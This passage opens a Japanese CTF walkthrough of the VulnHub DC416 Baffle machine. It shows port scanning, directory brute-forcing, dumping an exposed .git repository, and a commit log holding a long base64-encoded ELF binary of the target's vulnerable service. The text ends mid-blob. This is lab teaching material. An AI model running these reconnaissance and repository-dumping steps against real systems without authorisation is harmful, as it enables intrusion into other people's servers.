すべての人に良い一日を。この記事で、 DefCon TorontoのカンファレンスのCTFシリーズであるDC416を完成させたいと思います。 私の意見では、 VulnHubチームが提供する最も興味深いハードコアクエストである、デザートDC416バッフルに向けて出発します。
注意! 多くの逆およびバイナリ操作が先にあります!
この準備ができていない場合は、最初に以前の地区の手順を理解することをお勧めします。
始めましょう
仮想マシンを起動し、開いているポートの検索に進みます。
$ sudo arp-scan -l -I wlan0 | grep "CADMUS COMPUTER SYSTEMS" | awk '{print $1}' | xargs sudo nmap -sV -p1-65535
2016-12-31 12:19 MSKにNmap 7.01( nmap.org )を開始
192.168.1.190のNmapスキャンレポート
ホストが稼働しています(0.00071秒の遅延)。
表示なし:65532の閉じたポート
ポートステートサービスバージョン
22 / tcp open ssh OpenSSH 6.7p1 Debian 5 + deb8u3(プロトコル2.0)
80 / tcp open http nginx 1.6.2
6969 / tcp open acmsoda?
MACアドレス:08:00:27:84:83:C3(Oracle VirtualBox仮想NIC)
サービス情報:OS:Linux; CPE:cpe:/ o:linux:linux_kernel
フラグ1
$ sudo dirsearch -u 'http://192.168.1.190' -w /usr/share/dirb/wordlists/big.txt -e php,html,js,jpg,txt,bak -r -f -x 403
gitリポジトリを含むディレクトリがあります。 dvcs-ripperを使用してそれを収縮させます:
$ mkdir site-repo && cd site-repo $ rip-git -u http://192.168.1.190/.git/ $ ls -ahl drwxrwxr-x 6 gh0st3rs gh0st3rs 4,0K . 2 17:25 .git -rw-rw-r-- 1 gh0st3rs gh0st3rs 616 . 2 17:25 hellofriend.c
コミットログ
commit 8bde72465957415c12ab6f89ff679f8f9e7c5c7a Author: alice <alice@baffle.me> Date: Mon Oct 17 14:58:02 2016 -0400 Trashed my code, but deployed the product anyway. diff --git a/hellofriend.cb/hellofriend.c index 10a4d9e..6f8855b 100644 --- a/hellofriend.c +++ b/hellofriend.c @@ -13,22 +13,13 @@ int parse_request(char *req, int n) { char mode[10]; char *ptr = req; FILE *fp; - - memset(file, 0, sizeof(file)); - memset(mode, 0, sizeof(mode)); - - memset(data, 0, sizeof(data)); - memset(to_write, 0, sizeof(to_write)); - - ptr = (char *)ptr + 2; - file_len = strlen(ptr); - - ptr = (char *)ptr + file_len + 1; - ptr = (char *)ptr + 6; - - memcpy(to_write, ptr, 500); - memcpy(data, ptr, 2000); + if (req_type == 0x01) { + /* todo */ + } + if (req_type == 0x2) { + /* todo */ + } return 0; } diff --git a/project.enc b/project.enc deleted file mode 100644 index 7fe355b..0000000 --- a/project.enc +++ /dev/null @@ -1,147 +0,0 @@ -f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAUAZAAAAAAABAAAAAAAAAAPgYAAAAAAAAAAAAAEAAOAAI -AEAAHwAcAAYAAAAFAAAAQAAAAAAAAABAAEAAAAAAAEAAQAAAAAAAwAEAAAAAAADAAQAAAAAAAAgA -AAAAAAAAAwAAAAQAAAAAAgAAAAAAAAACQAAAAAAAAAJAAAAAAAAcAAAAAAAAABwAAAAAAAAAAQAA -AAAAAAABAAAABQAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAFwLAAAAAAAAXAsAAAAAAAAAACAA -AAAAAAEAAAAGAAAAYAsAAAAAAABgC2AAAAAAAGALYAAAAAAAYAIAAAAAAAB4BAAAAAAAAAAAIAAA -AAAAAgAAAAYAAAB4CwAAAAAAAHgLYAAAAAAAeAtgAAAAAADQAQAAAAAAANABAAAAAAAACAAAAAAA -AAAEAAAABAAAABwCAAAAAAAAHAJAAAAAAAAcAkAAAAAAAEQAAAAAAAAARAAAAAAAAAAEAAAAAAAA -AFDldGQEAAAADAoAAAAAAAAMCkAAAAAAAAwKQAAAAAAAPAAAAAAAAAA8AAAAAAAAAAQAAAAAAAAA -UeV0ZAcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAv -bGliNjQvbGQtbGludXgteDg2LTY0LnNvLjIABAAAABAAAAABAAAAR05VAAAAAAACAAAABgAAACAA -AAAEAAAAFAAAAAMAAABHTlUAjY+HU1RRADsF2xXRTQeBhXaBO0kCAAAACwAAAAEAAAAGAAAAAAAA -AAABEAALAAAAAAAAACkdjBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAABIAAAAAAAAA -AAAAAAAAAAAAAAAAPwAAABIAAAAAAAAAAAAAAAAAAAAAAAAAEQAAABIAAAAAAAAAAAAAAAAAAAAA -AAAAJQAAABIAAAAAAAAAAAAAAAAAAAAAAAAALAAAABIAAAAAAAAAAAAAAAAAAAAAAAAARgAAABIA -AAAAAAAAAAAAAAAAAAAAAAAAGAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAWAAAACAAAAAAAAAAAAAA -AAAAAAAAAAAAOAAAABIAAAAAAAAAAAAAAAAAAAAAAAAACwAAABIAAAAAAAAAAAAAAAAAAAAAAAAA -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 -AAAAAAAAAAAAAAAAAwAEAGACQAAAAAAAAAAAAAAAAAAAAAAAAwAFAIgCQAAAAAAAAAAAAAAAAAAA -AAAAAwAGAKgDQAAAAAAAAAAAAAAAAAAAAAAAAwAHACYEQAAAAAAAAAAAAAAAAAAAAAAAAwAIAEAE -QAAAAAAAAAAAAAAAAAAAAAAAAwAJAHAEQAAAAAAAAAAAAAAAAAAAAAAAAwAKAKAEQAAAAAAAAAAA -AAAAAAAAAAAAAwALAHgFQAAAAAAAAAAAAAAAAAAAAAAAAwAMAKAFQAAAAAAAAAAAAAAAAAAAAAAA -AwANAEAGQAAAAAAAAAAAAAAAAAAAAAAAAwAOAFAGQAAAAAAAAAAAAAAAAAAAAAAAAwAPAPQJQAAA -AAAAAAAAAAAAAAAAAAAAAwAQAAAKQAAAAAAAAAAAAAAAAAAAAAAAAwARAAwKQAAAAAAAAAAAAAAA -AAAAAAAAAwASAEgKQAAAAAAAAAAAAAAAAAAAAAAAAwATAGALYAAAAAAAAAAAAAAAAAAAAAAAAwAU -AGgLYAAAAAAAAAAAAAAAAAAAAAAAAwAVAHALYAAAAAAAAAAAAAAAAAAAAAAAAwAWAHgLYAAAAAAA -AAAAAAAAAAAAAAAAAwAXAEgNYAAAAAAAAAAAAAAAAAAAAAAAAwAYAFANYAAAAAAAAAAAAAAAAAAA -AAAAAwAZALANYAAAAAAAAAAAAAAAAAAAAAAAAwAaAMANYAAAAAAAAAAAAAAAAAAAAAAAAwAbAAAA -AAAAAAAAAAAAAAAAAAABAAAABADx/wAAAAAAAAAAAAAAAAAAAAAMAAAAAQAVAHALYAAAAAAAAAAA -AAAAAAAZAAAAAgAOAIAGQAAAAAAAAAAAAAAAAAAbAAAAAgAOAMAGQAAAAAAAAAAAAAAAAAAuAAAA -AgAOAAAHQAAAAAAAAAAAAAAAAABEAAAAAQAaAMgNYAAAAAAAAQAAAAAAAABTAAAAAQAUAGgLYAAA -AAAAAAAAAAAAAAB6AAAAAgAOACAHQAAAAAAAAAAAAAAAAACGAAAAAQATAGALYAAAAAAAAAAAAAAA -AAClAAAABADx/wAAAAAAAAAAAAAAAAAAAAABAAAABADx/wAAAAAAAAAAAAAAAAAAAACtAAAAAQAS -AFgLQAAAAAAAAAAAAAAAAAC7AAAAAQAVAHALYAAAAAAAAAAAAAAAAAAAAAAABADx/wAAAAAAAAAA -AAAAAAAAAADHAAAAAAATAGgLYAAAAAAAAAAAAAAAAADYAAAAAQAWAHgLYAAAAAAAAAAAAAAAAADh -AAAAAAATAGALYAAAAAAAAAAAAAAAAAD0AAAAAAARAAwKQAAAAAAAAAAAAAAAAAAHAQAAAQAYAFAN -YAAAAAAAAAAAAAAAAAAdAQAAEgAOAPAJQAAAAAAAAgAAAAAAAAAtAQAAIAAAAAAAAAAAAAAAAAAA -AAAAAABJAQAAEQAaAMANYAAAAAAACAAAAAAAAAD6AQAAIAAZALANYAAAAAAAAAAAAAAAAABdAQAA -EAAZAMANYAAAAAAAAAAAAAAAAAAnAQAAEgAPAPQJQAAAAAAAAAAAAAAAAABkAQAAEgAAAAAAAAAA -AAAAAAAAAAAAAAB4AQAAEgAAAAAAAAAAAAAAAAAAAAAAAACMAQAAEgAAAAAAAAAAAAAAAAAAAAAA -AACgAQAAEgAAAAAAAAAAAAAAAAAAAAAAAAC0AQAAEgAAAAAAAAAAAAAAAAAAAAAAAADGAQAAEgAA -AAAAAAAAAAAAAAAAAAAAAADlAQAAEgAAAAAAAAAAAAAAAAAAAAAAAAD4AQAAEAAZALANYAAAAAAA -AAAAAAAAAAAFAgAAIAAAAAAAAAAAAAAAAAAAAAAAAAAUAgAAEQIZALgNYAAAAAAAAAAAAAAAAAAh -AgAAEgAAAAAAAAAAAAAAAAAAAAAAAAA0AgAAEQAQAAAKQAAAAAAABAAAAAAAAABDAgAAEgAOAIAJ -QAAAAAAAZQAAAAAAAADTAAAAEAAaANgPYAAAAAAAAAAAAAAAAAD+AQAAEgAOAFAGQAAAAAAAKgAA -AAAAAABTAgAAEAAaAMANYAAAAAAAAAAAAAAAAABfAgAAEgAOAPcIQAAAAAAAfAAAAAAAAABkAgAA -EgAAAAAAAAAAAAAAAAAAAAAAAAB3AgAAIAAAAAAAAAAAAAAAAAAAAAAAAACLAgAAEgAOAEYHQAAA -AAAAsQEAAAAAAACZAgAAEQIZAMANYAAAAAAAAAAAAAAAAAClAgAAIAAAAAAAAAAAAAAAAAAAAAAA -AAC/AgAAEQAaAOANYAAAAAAA9AEAAAAAAABNAgAAEgALAHgFQAAAAAAAAAAAAAAAAAAAY3J0c3R1 -ZmYuYwBfX0pDUl9MSVNUX18AZGVyZWdpc3Rlcl90bV9jbG9uZXMAX19kb19nbG9iYWxfZHRvcnNf -YXV4AGNvbXBsZXRlZC42OTc5AF9fZG9fZ2xvYmFsX2R0b3JzX2F1eF9maW5pX2FycmF5X2VudHJ5 -AGZyYW1lX2R1bW15AF9fZnJhbWVfZHVtbXlfaW5pdF9hcnJheV9lbnRyeQBjdGZ0cC5jAF9fRlJB -TUVfRU5EX18AX19KQ1JfRU5EX18AX19pbml0X2FycmF5X2VuZABfRFlOQU1JQwBfX2luaXRfYXJy -YXlfc3RhcnQAX19HTlVfRUhfRlJBTUVfSERSAF9HTE9CQUxfT0ZGU0VUX1RBQkxFXwBfX2xpYmNf -Y3N1X2ZpbmkAX0lUTV9kZXJlZ2lzdGVyVE1DbG9uZVRhYmxlAHN0ZG91dEBAR0xJQkNfMi4yLjUA -X2VkYXRhAHN0cmxlbkBAR0xJQkNfMi4yLjUAc2V0YnVmQEBHTElCQ18yLjIuNQBwcmludGZAQEdM -SUJDXzIuMi41AG1lbXNldEBAR0xJQkNfMi4yLjUAcmVhZEBAR0xJQkNfMi4yLjUAX19saWJjX3N0 -YXJ0X21haW5AQEdMSUJDXzIuMi41AGZnZXRzQEBHTElCQ18yLjIuNQBfX2RhdGFfc3RhcnQAX19n -bW9uX3N0YXJ0X18AX19kc29faGFuZGxlAG1lbWNweUBAR0xJQkNfMi4xNABfSU9fc3RkaW5fdXNl -ZABfX2xpYmNfY3N1X2luaXQAX19ic3Nfc3RhcnQAbWFpbgBmb3BlbkBAR0xJQkNfMi4yLjUAX0p2 -X1JlZ2lzdGVyQ2xhc3NlcwBwYXJzZV9yZXF1ZXN0AF9fVE1DX0VORF9fAF9JVE1fcmVnaXN0ZXJU -TUNsb25lVGFibGUAdG9fd3JpdGUAAC5zeW10YWIALnN0cnRhYgAuc2hzdHJ0YWIALmludGVycAAu -bm90ZS5BQkktdGFnAC5ub3RlLmdudS5idWlsZC1pZAAuZ251Lmhhc2gALmR5bnN5bQAuZHluc3Ry -AC5nbnUudmVyc2lvbgAuZ251LnZlcnNpb25fcgAucmVsYS5keW4ALnJlbGEucGx0AC5pbml0AC5w -bHQuZ290AC50ZXh0AC5maW5pAC5yb2RhdGEALmVoX2ZyYW1lX2hkcgAuZWhfZnJhbWUALmluaXRf -YXJyYXkALmZpbmlfYXJyYXkALmpjcgAuZHluYW1pYwAuZ290LnBsdAAuZGF0YQAuYnNzAC5jb21t -ZW50AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -AAAAAAAAAAAAAAAAAAAAGwAAAAEAAAACAAAAAAAAAAACQAAAAAAAAAIAAAAAAAAcAAAAAAAAAAAA -AAAAAAAAAQAAAAAAAAAAAAAAAAAAACMAAAAHAAAAAgAAAAAAAAAcAkAAAAAAABwCAAAAAAAAIAAA -AAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAxAAAABwAAAAIAAAAAAAAAPAJAAAAAAAA8AgAA -AAAAACQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAARAAAAPb//28CAAAAAAAAAGACQAAA -AAAAYAIAAAAAAAAkAAAAAAAAAAUAAAAAAAAACAAAAAAAAAAAAAAAAAAAAE4AAAALAAAAAgAAAAAA -AACIAkAAAAAAAIgCAAAAAAAAIAEAAAAAAAAGAAAAAQAAAAgAAAAAAAAAGAAAAAAAAABWAAAAAwAA -AAIAAAAAAAAAqANAAAAAAACoAwAAAAAAAH4AAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA -XgAAAP///28CAAAAAAAAACYEQAAAAAAAJgQAAAAAAAAYAAAAAAAAAAUAAAAAAAAAAgAAAAAAAAAC -AAAAAAAAAGsAAAD+//9vAgAAAAAAAABABEAAAAAAAEAEAAAAAAAAMAAAAAAAAAAGAAAAAQAAAAgA -AAAAAAAAAAAAAAAAAAB6AAAABAAAAAIAAAAAAAAAcARAAAAAAABwBAAAAAAAADAAAAAAAAAABQAA -AAAAAAAIAAAAAAAAABgAAAAAAAAAhAAAAAQAAABCAAAAAAAAAKAEQAAAAAAAoAQAAAAAAADYAAAA -AAAAAAUAAAAYAAAACAAAAAAAAAAYAAAAAAAAAI4AAAABAAAABgAAAAAAAAB4BUAAAAAAAHgFAAAA -AAAAGgAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAACJAAAAAQAAAAYAAAAAAAAAoAVAAAAA -AACgBQAAAAAAAKAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAlAAAAAEAAAAGAAAAAAAA -AEAGQAAAAAAAQAYAAAAAAAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAJ0AAAABAAAA -BgAAAAAAAABQBkAAAAAAAFAGAAAAAAAAogMAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAACj -AAAAAQAAAAYAAAAAAAAA9AlAAAAAAAD0CQAAAAAAAAkAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAA -AAAAAAAAqQAAAAEAAAACAAAAAAAAAAAKQAAAAAAAAAoAAAAAAAAJAAAAAAAAAAAAAAAAAAAABAAA -AAAAAAAAAAAAAAAAALEAAAABAAAAAgAAAAAAAAAMCkAAAAAAAAwKAAAAAAAAPAAAAAAAAAAAAAAA -AAAAAAQAAAAAAAAAAAAAAAAAAAC/AAAAAQAAAAIAAAAAAAAASApAAAAAAABICgAAAAAAABQBAAAA -AAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAyQAAAA4AAAADAAAAAAAAAGALYAAAAAAAYAsAAAAA -AAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAANUAAAAPAAAAAwAAAAAAAABoC2AAAAAA -AGgLAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAADhAAAAAQAAAAMAAAAAAAAA -cAtgAAAAAABwCwAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAA5gAAAAYAAAAD -AAAAAAAAAHgLYAAAAAAAeAsAAAAAAADQAQAAAAAAAAYAAAAAAAAACAAAAAAAAAAQAAAAAAAAAJgA -AAABAAAAAwAAAAAAAABIDWAAAAAAAEgNAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAA -AAAAAADvAAAAAQAAAAMAAAAAAAAAUA1gAAAAAABQDQAAAAAAAGAAAAAAAAAAAAAAAAAAAAAIAAAA -AAAAAAgAAAAAAAAA+AAAAAEAAAADAAAAAAAAALANYAAAAAAAsA0AAAAAAAAQAAAAAAAAAAAAAAAA -AAAACAAAAAAAAAAAAAAAAAAAAP4AAAAIAAAAAwAAAAAAAADADWAAAAAAAMANAAAAAAAAGAIAAAAA -AAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAADAQAAAQAAADAAAAAAAAAAAAAAAAAAAADADQAAAAAA -ACYAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAEQAAAAMAAAAAAAAAAAAAAAAAAAAAAAAA -6BcAAAAAAAAMAQAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAACAAAAAAAAAAAAAAAA -AAAAAAAAAOgNAAAAAAAAOAcAAAAAAAAeAAAALwAAAAgAAAAAAAAAGAAAAAAAAAAJAAAAAwAAAAAA -AAAAAAAAAAAAAAAAAAAgFQAAAAAAAMgCAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA commit d38ce2e28e32aa7787d5e8a2cb83d3f75c988eca Author: alice <alice@baffle.me> Date: Mon Oct 17 14:55:07 2016 -0400 Some assembly required diff --git a/project.enc b/project.enc new file mode 100644 index 0000000..7fe355b --- /dev/null +++ b/project.enc @@ -0,0 +1,147 @@ +f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAUAZAAAAAAABAAAAAAAAAAPgYAAAAAAAAAAAAAEAAOAAI +AEAAHwAcAAYAAAAFAAAAQAAAAAAAAABAAEAAAAAAAEAAQAAAAAAAwAEAAAAAAADAAQAAAAAAAAgA +AAAAAAAAAwAAAAQAAAAAAgAAAAAAAAACQAAAAAAAAAJAAAAAAAAcAAAAAAAAABwAAAAAAAAAAQAA +AAAAAAABAAAABQAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAFwLAAAAAAAAXAsAAAAAAAAAACAA +AAAAAAEAAAAGAAAAYAsAAAAAAABgC2AAAAAAAGALYAAAAAAAYAIAAAAAAAB4BAAAAAAAAAAAIAAA +AAAAAgAAAAYAAAB4CwAAAAAAAHgLYAAAAAAAeAtgAAAAAADQAQAAAAAAANABAAAAAAAACAAAAAAA +AAAEAAAABAAAABwCAAAAAAAAHAJAAAAAAAAcAkAAAAAAAEQAAAAAAAAARAAAAAAAAAAEAAAAAAAA +AFDldGQEAAAADAoAAAAAAAAMCkAAAAAAAAwKQAAAAAAAPAAAAAAAAAA8AAAAAAAAAAQAAAAAAAAA +UeV0ZAcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAv +bGliNjQvbGQtbGludXgteDg2LTY0LnNvLjIABAAAABAAAAABAAAAR05VAAAAAAACAAAABgAAACAA +AAAEAAAAFAAAAAMAAABHTlUAjY+HU1RRADsF2xXRTQeBhXaBO0kCAAAACwAAAAEAAAAGAAAAAAAA +AAABEAALAAAAAAAAACkdjBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAABIAAAAAAAAA +AAAAAAAAAAAAAAAAPwAAABIAAAAAAAAAAAAAAAAAAAAAAAAAEQAAABIAAAAAAAAAAAAAAAAAAAAA +AAAAJQAAABIAAAAAAAAAAAAAAAAAAAAAAAAALAAAABIAAAAAAAAAAAAAAAAAAAAAAAAARgAAABIA +AAAAAAAAAAAAAAAAAAAAAAAAGAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAWAAAACAAAAAAAAAAAAAA +AAAAAAAAAAAAOAAAABIAAAAAAAAAAAAAAAAAAAAAAAAACwAAABIAAAAAAAAAAAAAAAAAAAAAAAAA +MQAAABEAGgDADWAAAAAAAAgAAAAAAAAAAGxpYmMuc28uNgBmb3BlbgBwcmludGYAZmdldHMAc3Ry +bGVuAG1lbXNldAByZWFkAHN0ZG91dABtZW1jcHkAc2V0YnVmAF9fbGliY19zdGFydF9tYWluAF9f +Z21vbl9zdGFydF9fAEdMSUJDXzIuMTQAR0xJQkNfMi4yLjUAAAACAAIAAgACAAIAAgACAAAAAwAC +AAIAAAABAAIAAQAAABAAAAAAAAAAlJGWBgAAAwBnAAAAEAAAAHUaaQkAAAIAcgAAAAAAAABIDWAA +AAAAAAYAAAAIAAAAAAAAAAAAAADADWAAAAAAAAUAAAALAAAAAAAAAAAAAABoDWAAAAAAAAcAAAAB +AAAAAAAAAAAAAABwDWAAAAAAAAcAAAACAAAAAAAAAAAAAAB4DWAAAAAAAAcAAAADAAAAAAAAAAAA +AACADWAAAAAAAAcAAAAEAAAAAAAAAAAAAACIDWAAAAAAAAcAAAAFAAAAAAAAAAAAAACQDWAAAAAA +AAcAAAAGAAAAAAAAAAAAAACYDWAAAAAAAAcAAAAHAAAAAAAAAAAAAACgDWAAAAAAAAcAAAAJAAAA +AAAAAAAAAACoDWAAAAAAAAcAAAAKAAAAAAAAAAAAAABIg+wISIsFxQcgAEiFwHQF6LMAAABIg8QI +wwAAAAAAAAAAAAAAAAAA/zWyByAA/yW0ByAADx9AAP8lsgcgAGgAAAAA6eD/////JaoHIABoAQAA +AOnQ/////yWiByAAaAIAAADpwP////8lmgcgAGgDAAAA6bD/////JZIHIABoBAAAAOmg/////yWK +ByAAaAUAAADpkP////8lggcgAGgGAAAA6YD/////JXoHIABoBwAAAOlw/////yVyByAAaAgAAADp +YP////8lAgcgAGaQAAAAAAAAAAAx7UmJ0V5IieJIg+TwUFRJx8DwCUAASMfBgAlAAEjHx/cIQADo +h/////RmDx9EAAC4xw1gAFVILcANYABIg/gOSInldhu4AAAAAEiFwHQRXb/ADWAA/+BmDx+EAAAA +AABdww8fQABmLg8fhAAAAAAAvsANYABVSIHuwA1gAEjB/gNIieVIifBIweg/SAHGSNH+dBW4AAAA +AEiFwHQLXb/ADWAA/+APHwBdw2YPH0QAAIA9wQYgAAB1EVVIieXobv///13GBa4GIAAB88MPH0AA +v3ALYABIgz8AdQXrkw8fALgAAAAASIXAdPFVSInl/9Bd6Xr///9VSInlSIHsMAYAAEiJvdj5//+J +tdT5//9Ii4XY+f//SIlF+EiNhfD7//+69AEAAL4AAAAASInH6F7+//9IjYXg+f//ugoAAAC+AAAA +AEiJx+hF/v//SIuF2Pn//0iDwAEPtgAPvsCJRfSDffQBD4WWAAAASINF+AKLhdT5//+D6AmJRfCL +RfBIY9BIi034SI2F8Pv//0iJzkiJx+g6/v//SI2F8Pv//74ECkAASInH6Db+//9IiUXoSIN96AB0 +SkiNhfD5//+69AEAAL4AAAAASInH6ML9//9Ii1XoSI2F8Pn//770AQAASInH6Nr9//9IjYXw+f// +SInGvwYKQAC4AAAAAOiB/f//g330Ag+FlwAAAEiNhfD9//+69AEAAL4AAAAASInH6G79//+69AEA 